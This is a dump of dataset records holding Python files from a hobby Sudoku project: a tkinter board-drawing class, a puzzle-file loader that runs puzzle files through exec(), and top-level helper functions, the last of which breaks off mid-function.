self.cv\r\n for r_m in r_marks:\r\n cv.delete(r_m.id)\r\n \r\n del markH[tag]\r\n \r\n \r\n \r\n # Clear all marks\r\n def clearMarksAll(self):\r\n markH = self.markH\r\n if markH is None:\r\n return \r\n \r\n for tag in markH:\r\n self.clearMarks(tag)\r\n \r\n \r\n # Board clicked\r\n def click_board(self, event):\r\n SlTrace.lg(f\"clickBoard {event}\")\r\n r_c = self.getClickedCell(event)\r\n if r_c is None:\r\n return \r\n row = r_c.row\r\n col = r_c.col\t\r\n SlTrace.lg(f\"click row={row} col={col}\", \"any\")\r\n if (self.isSelected(row, col)):\r\n self.clearMarks()\r\n else:\r\n self.selectCell(row, col)\r\n \r\n \r\n \r\n # Set options when found in kwargs\r\n # Checks kwargs for all settings found in r_def hash\r\n # If option key is found in %opth that option key is set in r_set\r\n # r_def and r_set may be the same, e.g. self\r\n def setOpts(self, r_def, **kwargs):\r\n for key in kwargs:\r\n opt = kwargs[key]\r\n if opt is not None:\r\n setattr(self, key, opt) # ??? TBD is this wrong???\r\n \r\n \r\n \r\n def destroy(self):\r\n \"\"\" Destroy board\r\n \"\"\"\r\n cv = self.cv\r\n if cv is not None:\r\n cv.destroy()\r\n self.cv = None\r\n if self.frame is not None: # If part of a frame just destroy frame, leaving window\r\n self.frame.destroy()\r\n self.frame = None\r\n elif self.mw is not None: # Else destroy window\r\n self.mw.destroy()\r\n self.mw = None\r\n \r\n def display(self, msg=None):\r\n if msg is None:\r\n msg = \"board display\"\r\n if self.data is not None:\r\n self.data.display(msg=msg)\r\n else:\r\n SlTrace.lg(f\"{msg} - no data\")\r\n \r\n # Get data cell\r\n def getCell(self, row=None, col=None):\r\n ri = row - 1\r\n ci = col - 1\r\n return self.cells[ci][ri]\r\n \r\n # Get data cell\r\n def getCellVal(self, row=None, col=None):\r\n cell = self.getCell(row=row, col=col)\r\n return cell.val\r\n \r\n \r\n # \r\n def setCell(self, row=None, col=None, val=None,\r\n x1=None, y1=None, x2=None, y2=None):\r\n \"\"\" Set cell to values, display value if present\r\n Data is updated if present\r\n \"\"\"\r\n if self.ck_done():\r\n return\r\n \r\n if col is None:\r\n raise SelectError(f\"setCell: Missing column\")\r\n if col is None:\r\n raise SelectError(f\"setCell: Missing row\")\r\n if col < 1 or col > self.data.nCol:\r\n raise SelectError(f\"setCell column({col} out of bounds(1-{self.data.nCol})\")\r\n if row < 1 or col > self.data.nRow:\r\n raise SelectError(f\"setCell column({row} out of bounds(1-{self.data.nRow})\")\r\n r_c = self.getCell(row=row, col=col)\r\n if r_c is None:\r\n raise SelectError(f\"No cell at row={row} col={col}\")\r\n \r\n if x1 is not None:\r\n r_c.x1 = x1\r\n if x2 is not None:\r\n r_c.x2 = x2\r\n if y1 is not None:\r\n r_c.y1 = y1\r\n if y2 is not None:\r\n r_c.y2 = y2\r\n \r\n cell_val_id = r_c.valId\r\n cv = self.cv\r\n data = self.data\r\n if (data is not None):\r\n if val is not None:\r\n data.setCellVal(row, col, val) # Update data\r\n \r\n if cell_val_id is not None:\r\n if cv is not None:\r\n cv.delete(cell_val_id)\r\n # add new character\r\n rowSize = self.rowSize\r\n font_size = -(rowSize-1) # A bit shorter than cell\r\n if self.isEmpty(val):\r\n cell_disp = \" \" # Empty\r\n else:\r\n if isinstance(val, int):\r\n cell_disp = f\"{val}\"\r\n else:\r\n cell_disp = val\r\n \r\n opts = {'text' : cell_disp}\r\n opts['font'] = Font(name=self.bdFontName, size=font_size, exists=False)\r\n x = (r_c.x1 + r_c.x2)/2\r\n y = (r_c.y1 + r_c.y2)/2\r\n if cv is not None:\r\n r_c.valId = cv.create_text([x, y], opts)\r\n \r\n \r\n def drawBoard(self):\r\n if self.ck_done():\r\n return\r\n \r\n if self.data is None:\r\n SlTrace.lg(\"no data to draw\")\r\n return\r\n \r\n top_frame = self.mw # Default\r\n if self.frame is not None:\r\n top_frame = self.frame # Place inside frame\r\n \r\n ppi = self.pixelPerIn\r\n bdWidth = self.bdWidth\r\n width = bdWidth*ppi\r\n bdHeight = self.bdHeight\r\n height = bdHeight*ppi\r\n bdBg = self.bdBg\r\n \r\n bdBorderWidth = self.bdBorderWidth\r\n bdBorderHeight = self.bdBorderHeight\r\n xmin = self.xMin = bdBorderWidth\r\n xmax = self.xMax = width - xmin\r\n ymin = self.yMin = bdBorderHeight\r\n ymax = self.yMax = height - ymin\r\n \r\n \r\n f1 = Frame(top_frame)\r\n f1.pack(expand = 0, fill = \"x\")\r\n f2 = Frame(top_frame)\r\n f2.pack(expand = 1, fill = \"both\")\r\n cv = Canvas(f2, width = width,\r\n \t height = height,\r\n \t bg = bdBg)\r\n cv.pack()\r\n self.cv = cv\r\n \r\n # Create a box for clicking\r\n cv.create_rectangle([0, 0,\r\n \t width, height],\r\n \t fill = bdBg,\r\n \t tags = \"click\")\r\n cv.bind(\"<Button-1>\", self.click_board)\r\n \r\n \r\n # create cells and group lines\r\n self.drawCells()\r\n \r\n # Create Board surrounding border\r\n box_args = []\r\n box_args.append([xmin, ymin, xmax, ymax])\r\n box_kwargs = {}\r\n box_kwargs['width'] = self.bdBorderWidth\r\n box_kwargs['outline'] = self.bdBorderFg\r\n cv.create_rectangle(box_args, box_kwargs)\r\n top_frame.update()\r\n \r\n def ck_done(self):\r\n \"\"\" Check if done or not yet processing\r\n \"\"\"\r\n if self.mw is None or (hasattr(self,\"cv\") and self.cv is None):\r\n return\r\n \r\n \r\n # Draw cells and grouping lines\r\n def drawCells(self):\r\n global Initial_data\r\n \r\n if self.ck_done():\r\n return\r\n \r\n cv = self.cv\r\n xmin = self.xMin\r\n xmax = self.xMax\r\n ymin = self.yMin\r\n ymax = self.yMax\r\n \r\n # Separator line attributes\r\n # (Canvas createLine)\r\n cell_opt_h = {'width':self.cellSep,\r\n \t 'fill':self.cellSepFg}\r\n \r\n group_opt_h = {'width':self.groupSep,\r\n \t 'fill':self.groupSepFg}\r\n \r\n row_lines = self.getDividers(type=\"row\",\r\n \t\t\t cell=self.data.nRow, group=self.data.nSubRow,\r\n \t\t\t min=ymin, max=ymax,\r\n \t\t\t cellOpt=cell_opt_h,\r\n \t\t\t groupOpt=group_opt_h)\r\n \r\n \r\n col_lines = self.getDividers(type=\"col\",\r\n \t\t\t cell=self.data.nCol, group=self.data.nSubCol,\r\n \t\t\t min=xmin, max=xmax,\r\n \t\t\t cellOpt=cell_opt_h,\r\n \t\t\t groupOpt=group_opt_h)\r\n \r\n rowSize = self.rowSize\r\n colSize = self.colSize\r\n \r\n # Setup board font\r\n bdFont = Font(family=self.bdFontName,\r\n \t\t size=(colSize-1))\r\n self.bdFont = bdFont\r\n # Setup cells for data display, selection\r\n Initial_data = self.initialData\r\n \r\n # TBD: Set up clickCell to obtain entry from event position\r\n for ri in range(len(row_lines)):\r\n row = ri+1\r\n r_l1 = row_lines[ri].args # [x1,y1,x2,y2]\r\n y1 = r_l1[1]\r\n y2 = y1 + rowSize\r\n for ci in range(len(col_lines)):\r\n col = ci+1\r\n c_l1 = col_lines[ci].args # [x1,y1,x2,y2]\r\n x1 = c_l1[0]\r\n x2 = x1 + colSize\r\n if row <= self.data.nRow and col <= self.data.nCol:\r\n self.setCell(row=row, col=col, x1=x1, y1=y1, x2=x2, y2=y2)\r\n '''\r\n if self.initialData is not None:\r\n orig_val = self.initialData.getCell(row, col)\r\n if orig_val is not None:\r\n self.markCell(row=row, col=col, tag='origData',\r\n add=1,\r\n boundWidth='NONE', boundColor='NONE',\r\n backColor=\"gray90\")\r\n '''\r\n \r\n # Mark squares \r\n for r_line in row_lines:\r\n cv.create_line(r_line.args, r_line.kwargs)\r\n \r\n for r_line in col_lines:\r\n cv.create_line(r_line.args, r_line.kwargs)\r\n \r\n \r\n \r\n def getData(self, ):\t\t# Returns: data\r\n return self.data\r\n \r\n \r\n \r\n def getDividers(self, type=None,\r\n cell = None,\r\n group = None,\r\n min = None,\r\n max = None,\r\n cellOpt = None,\r\n groupOpt = None,\r\n ):\r\n \"\"\" Get divider lines\r\n Returns array of create_line options\r\n sets rowSize/colSize (pixels) appropriately\r\n sets pos in returned lines\r\n\r\n :returns: array of canvas line args\r\n \"\"\"\r\n if type is None or (type != \"row\" and type != \"col\"):\r\n raise SelectError(f\"bad type:{type}\")\r\n if cell is None:\r\n raise SelectError(\"cell missing\")\r\n if group is None:\r\n raise SelectError(\"group missing\")\r\n if min is None:\r\n raise SelectError(\"min missing\")\r\n if max is None:\r\n raise SelectError(\"max missing\")\r\n if cellOpt is None:\r\n raise SelectError(\"cellOpt missing\")\r\n if groupOpt is None:\r\n raise SelectError(\"groupOpt missing\")\r\n \r\n lines = [] # Array of refs to line args\r\n cell_size = int((max-min)/cell)\r\n if (type == \"row\"):\r\n self.rowSize = cell_size\r\n else:\r\n self.colSize = cell_size\r\n \r\n \r\n xmin = self.xMin\r\n ymin = self.yMin\r\n xmax = self.xMax\r\n ymax = self.yMax\r\n for i in range(cell):\r\n is_group = False # True if group divider\r\n is_group = True if i % group == 0 else False\r\n val = min + i*cell_size # combersome, but reduces\r\n # trunk error\r\n # TBD adjust for border overlap\r\n\r\n\r\n \r\n lineargs = LineArgs() # Staging area for create_line args\r\n if type == \"row\":\r\n x1 = xmin\r\n x2 = xmax\r\n y1 = y2 = val # horizontal line\r\n else:\r\n y1 = ymin\r\n y2 = ymax\r\n x1 = x2 = val # vertical line\r\n lineargs.pos = val # Line position(orthogonal)\r\n lineargs.args = [x1, y1, x2, y2]\r\n \r\n if is_group:\r\n lineargs.kwargs = groupOpt\r\n else:\r\n lineargs.kwargs = cellOpt\r\n lines.append(lineargs)\r\n \r\n return lines\r\n \r\n \r\n \r\n \r\n def rowColRef(self, row, col): # \r\n \"\"\" Translate row, col to cell ref\r\n :row:\r\n :col:\r\n :returns: ref to cell\r\n \"\"\"\r\n return self.cells[col-1][row-1]\r\n \r\n \r\n \r\n def getClickedCell(self, ev): # Returns: cell ref, else None\r\n \"\"\" Get clickec cell\r\n :ev: button clikc event\r\n :returns: ref to cell\r\n \"\"\"\r\n cv = self.cv\r\n xMin = self.xMin\r\n yMin = self.yMin\r\n x = ev.x\r\n y = ev.y\r\n if SlTrace.trace(\"any\"):\r\n ev_x = ev.x\r\n ev_y = ev.y\r\n SlTrace.lg(f\"getClickedCell: ev_x:{ev_x} ev_y:{ev_y}\"\r\n + f\" x={x} y={y} xMax={self.xMax} yMax={self.yMax}\")\r\n \r\n if (x < 0 or y < 0\r\n or x > self.xMax or y > self.yMax):\r\n return None \r\n \r\n rowSize = self.rowSize\r\n colSize = self.colSize\r\n if rowSize <= 0 or colSize <= 0:\r\n return None\r\n \r\n ri = int(y/colSize)\r\n ci = int(x/rowSize)\r\n cells = self.cells\r\n if cells is None:\r\n return None \r\n \r\n return cells[ri][ci]\r\n \r\n \r\n \r\n #\r\n def getMarked(self, tag=None):\r\n \"\"\" Get marked cell(s)\r\n :returns: array of refs to marked cells\r\n \"\"\"\r\n if tag is None:\r\n tag = markerTagDef \r\n \r\n markH = self.markH\r\n if markH is None or tag not in markH:\r\n return []\r\n \r\n r_marks = markH[tag]\r\n if r_marks is None:\r\n return []\r\n \r\n return r_marks\r\n \r\n \r\n \r\n # Check if cell is selected\r\n def isSelected(self, row, col): # Returns: true iff selected\r\n r_m = self.getMarked()\r\n if r_m is None or len(r_m) == 0:\r\n return False\r\n \r\n r_c = r_m[0] \r\n if r_c is None:\r\n return False\r\n \r\n if r_c.row == row and r_c.col == col:\r\n return True\r\n \r\n return False\r\n \r\n \r\n # \r\n def markCell(self, col=None, row=None, tag=None,\r\n add=None, backColor=None, boundColor=None, boundWidth=None, boundWidget=None):\r\n \"\"\" Mark cell\r\n Does not select cell\r\n col, row, [tag, add,\r\n backColor, boundColor,\r\n boundWidgt\r\n \"\"\"\r\n if col is None:\r\n raise SelectError(\"markCell no col\")\r\n if row is None:\r\n raise SelectError(\"markCell no row\")\r\n \r\n if add is None:\r\n add = False # Add to tagged group, else delete prev\r\n if tag is None:\r\n tag = markerTagDef # tag grouping, default\r\n \r\n r_c = self.rowColRef(row, col)\r\n args = [r_c.x1, r_c.y1, r_c.x2, r_c.y2]\r\n kwargs = {}\r\n if backColor is not None:\r\n kwargs['fill'] = backColor\r\n if boundWidth is not None:\r\n kwargs['width'] = boundWidth\r\n if boundColor is not None:\r\n kwargs['outline'] = boundColor \r\n cv = self.cv\r\n mark_id = cv.create_rectangle(*args, **kwargs)\r\n if not add:\r\n self.clearMarks(tag) \r\n self.addMark(tag=tag, id=mark_id, rc=r_c, col=col, row=row,\r\n backColor=backColor, boundColor=boundColor,\r\n boundWidth=boundWidth, boundWidget=boundWidget)\r\n \r\n \r\n \r\n # Select cell\r\n # Marks cell\r\n # Unselects previously selected\r\n def selectCell(self, row, col): # Returns: ref to cell \r\n r_c = self.rowColRef(row, col)\r\n if r_c is None:\r\n return None\r\n \r\n self.markCell(row=row, col=col)\r\n return r_c\r\n \r\n \r\n \r\n def showData(self, data=None, force=False):\r\n \"\"\" display data\r\n :data: data to display default: self.data\r\n :force: force updating display values\r\n \"\"\"\r\n if self.ck_done():\r\n return\r\n \r\n if data is None:\r\n data = self.data\r\n \r\n if not isinstance(data, SudokuData):\r\n raise SelectError(f\"Warning -- method add_data({type(data)}) expects a 'SudokuData' object\")\r\n return\r\n force = True # Force display\r\n for nr in range(1, self.data.nRow+1):\r\n for nc in range(1, self.data.nCol+1):\r\n new = data.getCellVal(row=nr, col=nc)\r\n old = self.getCellVal(row=nr, col=nc)\r\n if force or new != old or data.isEmpty(new):\r\n self.setCell(nr, nc, new)\r\n if self.ck_done(): # Check if changed circumstance\r\n return\r\n \r\n if self.mw is not None:\r\n self.mw.update()\r\n if SlTrace.trace(\"show_data\"):\r\n SlTrace.lg(\"show_data\")\r\n self.display()\r\n \r\n \r\n \r\n # Check if value considered empty\r\n def isEmpty(self, val):\r\n return self.data.isEmpty(val)\r\n" }, { "alpha_fraction": 0.5261640548706055, "alphanum_fraction": 0.528470516204834, "avg_line_length": 32.809043884277344, "blob_id": "d164c734ec6b72364a5e74e60b8ae81946f200f1", "content_id": "5d7b43685bd3e5d7293bd84d9f636f92e990f959", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6937, "license_type": "no_license", "max_line_length": 109, "num_lines": 199, "path": "/src/sudoku_puzzle_load.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoku_puzzle_load.py\r\n\"\"\"\r\nSupport for the loading of sudoku puzzle specification\r\n \r\n File Format (Customized to be a small subset of python\r\n to ease processing flexibility)\r\n \"\"\"\r\nimport sys, traceback\r\n\r\nfrom select_trace import SlTrace\r\nfrom select_error import SelectError\r\nfrom SudokuPuzzle import SudokuPuzzle\r\n\r\n# Added to between any prefix and the compile string if trace: \"puzzle_load\" flag is set\r\ntest_prefix = \"\"\"\r\nprint(\"dir: \", dir())\r\nprint(\"globals: \", globals())\r\nprint(\"locals: \", locals())\r\n\"\"\" \r\n\r\nclass SudokuPuzzleLoad:\r\n \"\"\" Support simple puzzle building commands\r\n puzzle(rows=..., cols=..., desc=description)\r\n row(cols number of values, 0/None for empty)\r\n \"\"\"\r\n @classmethod\r\n def set_input(cls, pfile=None, pstr=None):\r\n \"\"\" Setup file access\r\n :pfile: file name/stream containing puzzle specification\r\n OR\r\n :pstr: string containing puzzle specification\r\n :returns: class instance\r\n \"\"\"\r\n cls.file_name = None # Set to name if known\r\n cls.puzzle_string = pstr\r\n if pfile is not None and pstr is not None:\r\n raise SelectError(f\"Only one of pfile({pfile}) or pstr({pstr}) may be specified\")\r\n \r\n if pfile is not None:\r\n if isinstance(pfile, str):\r\n cls.file_name = pfile\r\n try:\r\n fin = open(pfile)\r\n except Exception as ex:\r\n SlTrace.lg(f\"open puzzle file {pfile} failed {str(ex)}\")\r\n return None\r\n else:\r\n fin = pfile # Input is an opened stream \r\n try:\r\n pstr = fin.read()\r\n fin.close()\r\n except Exception as ex:\r\n SlTrace.lg(f\"input read {pfile} failed {str(ex)}\")\r\n return cls\r\n\r\n cls.puzzle_string = pstr\r\n cls.cur_row = 0\r\n return cls\r\n \r\n @classmethod\r\n def file2puzzle(cls, file, prefix=None):\r\n \"\"\" Take file name/object and return SudokuPuzzle\r\n :file: file name/path / open stream\r\n :prefix: optional string to prefix file text\r\n \"\"\"\r\n spl = cls.set_input(pfile=file)\r\n puzzle = spl.procCmdString(prefix=prefix)\r\n return puzzle\r\n \r\n\r\n @classmethod\r\n def get_puzzle(cls):\r\n \"\"\" Retrieve puzzle complete or in progress\r\n \"\"\"\r\n return cls.sudoku_puzzle\r\n \r\n @classmethod\r\n def procCmdString(cls, string=None, prefix=None):\r\n \"\"\" Process python code string, with prefix text\r\n :string: input string\r\n :prefix: optional string to prefix code string for compile\r\n :Returns: resulting cls \r\n \"\"\"\r\n cls.result = False # Set True if OK\r\n if string is None:\r\n string = cls.puzzle_string\r\n if string is None:\r\n raise SelectError(\"string is missing\")\r\n \r\n gbls = {'version' : cls.version,\r\n 'puzzle' : cls.puzzle,\r\n 'row' : cls.row,\r\n 'end_puzzle' : cls.end_puzzle\r\n }\r\n \r\n compile_str = \"\"\r\n if prefix is not None:\r\n compile_str = prefix\r\n if not prefix.endswith(\"\\n\"):\r\n compile_str += \"\\n\" # Insure ending newline\r\n if SlTrace.trace(\"puzzle_load\"):\r\n compile_str += test_prefix\r\n compile_str += string\r\n compile_str += \"\\nend_puzzle()\\n\" # End puzzle\r\n try:\r\n exec(compile_str, gbls)\r\n cls.result = True\r\n return cls.sudoku_puzzle\r\n \r\n except Exception as e:\r\n _, _, tb = sys.exc_info()\r\n tbs = traceback.extract_tb(tb)\r\n SlTrace.lg(f\"Error while executing text from {cls.file_name}\\n {str(e)}\")\r\n inner_cmds = False\r\n for tbfr in tbs: # skip bottom (in dots_commands.py)\r\n tbfmt = 'File \"%s\", line %d, in %s' % (tbfr.filename, tbfr.lineno, tbfr.name)\r\n if False: # TFD\r\n inner_cmds = True\r\n SlTrace.lg(\" --------------------\") # show bottom (in dots_commands.py)\r\n SlTrace.lg(\" %s\\n %s\" % (tbfmt, tbfr.line))\r\n cls.result = False\r\n \r\n raise SelectError(\"compile error\")\r\n\r\n\r\n \r\n \r\n \"\"\"\r\n Basic game file loading functions\r\n Generally one per file command\r\n \"\"\"\r\n \r\n @classmethod\r\n def version(cls, version_str):\r\n cls.version_str = version_str\r\n \r\n @classmethod\r\n def puzzle(cls, desc=None,\r\n rows=None, grows=None, cols=None, gcols=None):\r\n \"\"\" Start processing of puzzle\r\n :returns: False if not processing this game\r\n \"\"\"\r\n SlTrace.lg(f\"puzzle(desc={desc}, rows={rows}, grows={grows} cols={cols} gcols={gcols})\")\r\n cls.desc = desc \r\n cls.rows = rows\r\n cls.grows = rows\r\n cls.cols = cols\r\n cls.gcols = gcols \r\n cls.cur_row = 0\r\n cls.sudoku_puzzle = SudokuPuzzle(desc=desc, rows=rows, grows=grows, cols=cols, gcols=gcols)\r\n if SlTrace.trace(\"puzzle_load\"):\r\n cls.sudoku_puzzle.display(\"puzzle() start\")\r\n \r\n @classmethod \r\n def row(cls, *col_vals):\r\n \"\"\" Add next rows of valuse\r\n :col_vals: column values for this row\r\n Each argument is either:\r\n a 0/None for empty square\r\n OR\r\n a value between 1 and cls.cols\r\n \"\"\"\r\n global sudoku_puzzle\r\n \r\n cls.cur_row += 1\r\n if cls.cur_row > cls.rows:\r\n raise SelectError(f\"row(cls.cur_row) is greater than the puzzle number of rows({cls.rows})\")\r\n \r\n if len(col_vals) != cls.cols:\r\n raise SelectError((f\"Number of columns({len(col_vals)} != puzzle number of columns({cls.cols})\"))\r\n \r\n for ic, col_val in enumerate(col_vals):\r\n cls.sudoku_puzzle.add_cell(row=cls.cur_row, col=ic+1, val=col_val)\r\n if SlTrace.trace(\"puzzle_load\"):\r\n cls.sudoku_puzzle.display(f\"row={cls.cur_row}\")\r\n \r\n @classmethod\r\n def end_puzzle(cls):\r\n pass\r\n \r\nif __name__ == \"__main__\":\r\n from tkinter import filedialog\r\n \r\n start_dir = r\"./puzzle\"\r\n filename = filedialog.askopenfile(\r\n initialdir = start_dir,\r\n title = \"Select puzzle file\",\r\n filetypes = ((\"supz files\",\"*.supz\"),(\"all files\",\"*.*\")))\r\n \r\n spl = SudokuPuzzleLoad.set_input(pfile=filename)\r\n puzzle1 = spl.procCmdString()\r\n puzzle1.display('puzzle1 display')\r\n \r\n puzzle2 = spl.get_puzzle()\r\n puzzle2.display(\"get_puzzle display\") \r\n \r\n\r\n puzzle3 = SudokuPuzzleLoad.file2puzzle(file=filename)\r\n puzzle3.display(\"get_puzzle display\") \r\n\r\n" }, { "alpha_fraction": 0.5284655094146729, "alphanum_fraction": 0.5353403687477112, "avg_line_length": 29.03626251220703, "blob_id": "138318cf55b9de6c32e91882dccf882a1cd07d3c", "content_id": "bf6ba3a2634696e68f0043a28f22ba469e3d965e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22255, "license_type": "no_license", "max_line_length": 190, "num_lines": 717, "path": "/sudoku_subs.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoku_subs.py\r\n# Top level subs for sudoku.py\r\n# imported to workaround the lack of forward referencing subroutines\r\nimport sys\r\nimport os\r\nfrom tkinter import filedialog\r\nfrom tkinter import *\r\nimport time\r\nimport argparse\r\nfrom math import *\r\nfrom select_trace import SlTrace\r\nfrom select_error import SelectError\r\nfrom resource_group import ResourceEntry\r\nfrom select_control import SelectControl\r\nfrom variable_control_window import VariableControlWindow\r\n\r\nimport sudoku_globals as gb\r\nfrom SudokuData import SudokuData, CellDesc\r\nfrom sudoku_vals import SudokuVals\r\nfrom SudokuPuzzle import SudokuPuzzle\r\nfrom SudokuBoard import SudokuBoard\r\nfrom SudokuPly import SudokuPly\r\nfrom sudoku_puzzle_load import SudokuPuzzleLoad\r\nfrom sudoku_search_stop import SudokuSearchStop\r\n\r\n\r\n\r\ndef helpstr():\r\n retstr = f\"\"\"\r\n --cols number_of_cols Default: {gb.nCol}\r\n --bSize bd size in inches Default: {gb.bSize}\r\n --dispalyTime sec between display, 0 - wait till user ACK\r\n --first number_of_solutions, stop when we have this many Default: {gb.nFirst}\r\n --makePuzzle starting_cells, make puzzle with this many filled cells\r\n --gcols number_of_cells_in_group Default: {gb.nSubCol}\r\n --grows number_of_cells_in_group Default: {gb.nrowGroup}\r\n --rows number_of_rows Default: {gb.nRow}\r\n --sSize solution bd size inches Default: {gb.sSize}\r\n --traceList comma_separated_trace_options Default: {gb.traceList}\r\n --uPuzzle - use preformed puzzle\r\n --xperimental experimental version Default: {gb.xPer}\r\n \"\"\"\r\n\r\ndef str2bool(v):\r\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\r\n return True\r\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\r\n return False\r\n else:\r\n raise argparse.ArgumentTypeError('Boolean value expected.')\r\n\r\ndef update():\r\n \"\"\" do any window updating required\r\n \"\"\"\r\n if not gb.running:\r\n return\r\n \r\n if not SlTrace.runningJob:\r\n return\r\n \r\n if gb.Display_mw is not None:\r\n gb.Display_mw.update() \r\n\r\ndef pgm_exit():\r\n SlTrace.lg(\"Quitting Sudoku Playing\")\r\n # Trace and Log files save by SlTrace onexit\r\n ###SlTrace.lg(\"Properties File: %s\"% SlTrace.getPropPath())\r\n ###SlTrace.lg(\"Log File: %s\"% SlTrace.getLogPath())\r\n gb.res_group.destroy_all()\r\n gb.Display_mw.destroy()\r\n gb.Display_mw = None\r\n gb.running = False\r\n SlTrace.onexit() # Force saving\r\n sys.exit(0)\r\n\r\ndef set_controls():\r\n cF = SelectControl() # Ref to singleton\r\n if gb.vC is not None:\r\n gb.vC.destroy()\r\n gb.vC = None\r\n gb.vC = VariableControlWindow(var_ctl=cF)\r\n\r\n\r\ndef set_puzzle(puzzle, file_name=None):\r\n \"\"\" Set/Reset main puzzle\r\n :puzzle: Puzzle to setup\r\n \"\"\"\r\n if file_name is not None:\r\n puzzle.file_name = file_name # override if desired\r\n if gb.main_puzzle is not None:\r\n gb.main_puzzle.destroy()\r\n gb.main_puzzle = None\r\n if gb.o_board is not None:\r\n gb.o_board.destroy()\r\n gb.main_puzzle = puzzle.copy() # Insulate from changes\r\n gb.puzzle = puzzle\r\n gb.o_board = SudokuBoard(mw=gb.Display_mw,\r\n frame=new_main_bd_frame(),\r\n data=puzzle,\r\n bdWidth=gb.bSize,\r\n bdHeight=gb.bSize,\r\n puzzle = puzzle)\r\n \r\n gb.o_board.showData(force=True)\r\n cF = SelectControl()\r\n cF.set_val(\"nRow\", gb.main_puzzle.nRow)\r\n cF.set_val(\"nSubRow\", gb.main_puzzle.nSubRow)\r\n cF.set_val(\"nCol\", gb.main_puzzle.nCol)\r\n cF.set_val(\"nSubCol\", gb.main_puzzle.nSubCol)\r\n cF.update_settings()#\r\n \r\ndef use_puzzle(puzzle=None):\r\n \"\"\" Use Precreated puzzle\r\n Set reset_data to this\r\n # Pattern\r\n Default: PZ1\r\n n x n lines\r\n - or numeric contents\r\n \"\"\"\r\n ###global gb.o_data, gb.nCol, gb.nSubCol, gb.nRow, gb.nrowGroup, gb.o_board, gb.Initial_data, gb.nRow, gb.nCol\r\n \r\n# Test puzzles \r\n PZ1 = \"\"\"\r\n - 2 - -\r\n 1 4 - -\r\n - - 3 2\r\n - - 1 -\r\n \"\"\"\r\n \r\n PZ2 = \"\"\"\r\n 3 2 4 1\r\n 1 4 2 3\r\n 4 1 3 2\r\n 2 3 1 4\r\n \"\"\"\r\n \r\n PZ3 = \"\"\"\r\n - 2 4 1\r\n 1 4 2 3\r\n 4 1 3 2\r\n 2 3 1 4\r\n \"\"\"\r\n \r\n PZ4 = \"\"\"\r\n - - 4 1\r\n 1 4 2 3\r\n 4 1 3 2\r\n 2 3 1 4\r\n \"\"\"\r\n \r\n \r\n if puzzle is None:\r\n puzzle = PZ1\r\n puzzle = PZ2\r\n puzzle = PZ3\r\n puzzle = PZ4\r\n puzzle = PZ1\r\n nrow = 0\r\n ncol = 0\r\n rowcols = [] # array of rows of cols\r\n lines = puzzle.split(\"\\n\")\r\n lineno = 0\r\n for line in lines:\r\n lineno += 1\r\n m = re.match(r'^([^#]*)#', line) # Remove comments\r\n if m:\r\n line = m.group(1)\r\n m = re.match(r'^\\s+(.*)$', line)\r\n if m:\r\n line = m.group(1)\r\n m = re.match(r'^(.*)\\s+$', line)\r\n if m:\r\n line = m.group(1)\r\n if re.match(r'^\\s*$', line): # Ignore blank lines\r\n continue\r\n \r\n nrow += 1\r\n cs = line.split()\r\n if ncol > 0 and len(cs) < ncol:\r\n raise SelectError(\"cols not identical in line: lineno\")\r\n\r\n if len(cs) > ncol:\r\n ncol = len(cs) \r\n rowcols.append(cs)\r\n\r\n if ncol != nrow:\r\n raise SelectError(f\"number of cols{ncol} != number of rows{nrow}\")\r\n gb.nRow = nrow\r\n gb.nCol = ncol\r\n gb.nSubCol = int(sqrt(gb.nCol))\r\n gb.nSubRow = int(sqrt(gb.nRow))\r\n \r\n puzzle = SudokuPuzzle(rows=nrow, cols=ncol, grows=gb.nSubRow, gcols=gb.nSubCol,\r\n desc=\"Internal Puzzle\")\r\n for ri in range(nrow):\r\n row = ri+1\r\n for ci in range(ncol):\r\n col = ci+1\r\n val = rowcols[ri][ci]\r\n if val == '-':\r\n continue # Empty cell\r\n \r\n puzzle.add_cell(row=row, col=col, val=int(val))\r\n set_puzzle(puzzle)\r\n\r\n\r\n\r\n# Clear to an empty board\r\ndef clear_board():\r\n puzzle = SudokuPuzzle(rows=gb.nRow, cols=gb.nCol, grows=gb.nSubRow, gcols=gb.nSubCol,\r\n desc=\"Internal Puzzle\")\r\n set_puzzle(puzzle)\r\n \r\n\r\n\r\n# Close move display window\r\ndef search_stop():\r\n ###global Display_mw\r\n '''\r\n if Display_mw is not None:\r\n Display_mw.destroy()\r\n '''\r\n SlTrace.lg(\"search_stop\")\r\n SudokuPly.stop_search()\r\n gb.res_group.destroy_all()\r\n\r\n\r\ndisplay_prev_time = None\r\ndisplay_no = 0\r\ndef display_rtn(data):\r\n \"\"\" Progress display routing\r\n \"\"\"\r\n global display_prev_time\r\n global display_no\r\n \r\n if not gb.running:\r\n return\r\n \r\n display_no += 1\r\n ###gb.main_puzzle.display(\"display_rtn: main_puzzle\")\r\n display_time = gb.Display_time\r\n if display_time is None:\r\n return\r\n \r\n now = time.time()\r\n new_board = False\r\n searching_board = gb.res_group.get_obj(\"searching_board\")\r\n if searching_board is None:\r\n solution_search_display_setup()\r\n new_board = True\r\n searching_board = gb.res_group.get_obj(\"searching_board\")\r\n \r\n if display_prev_time is None:\r\n display_prev_time = now\r\n gb.Display_mw.after(int(1000*display_time))\r\n if now - display_prev_time > gb.update_time:\r\n puzzle_name = \"INTERNAL\"\r\n if gb.puzzle.file_name is not None:\r\n puzzle_name = os.path.basename(gb.puzzle.file_name)\r\n gb.main_puzzle.trace_check(prefix=puzzle_name)\r\n ###SlTrace.lg(f\"{puzzle_name} move:{nmove} empty: {nempty} backup: {nbackup} time:{dur:.3f}\")\r\n display_prev_time = now\r\n if searching_board is not None:\r\n searching_board.showData(data, force=new_board)\r\n if SlTrace.trace(\"display_board\"):\r\n searching_board.display(f\"display:{display_no}\")\r\n\r\n\r\n# Setup move display\r\ndef solution_search_display_setup():\r\n\r\n title = \"Solution Searching\"\r\n SudokuPly.setDisplay(display_rtn, gb.Display_time)\r\n\r\n searching_mw = Toplevel()\r\n searching_mw.protocol(\"WM_DELETE_WINDOW\", search_stop)\r\n searching_mw.title(title)\r\n x = 400\r\n y = 600\r\n searching_mw.geometry(f\"+{x}+{y}\")\r\n \r\n top_fr = 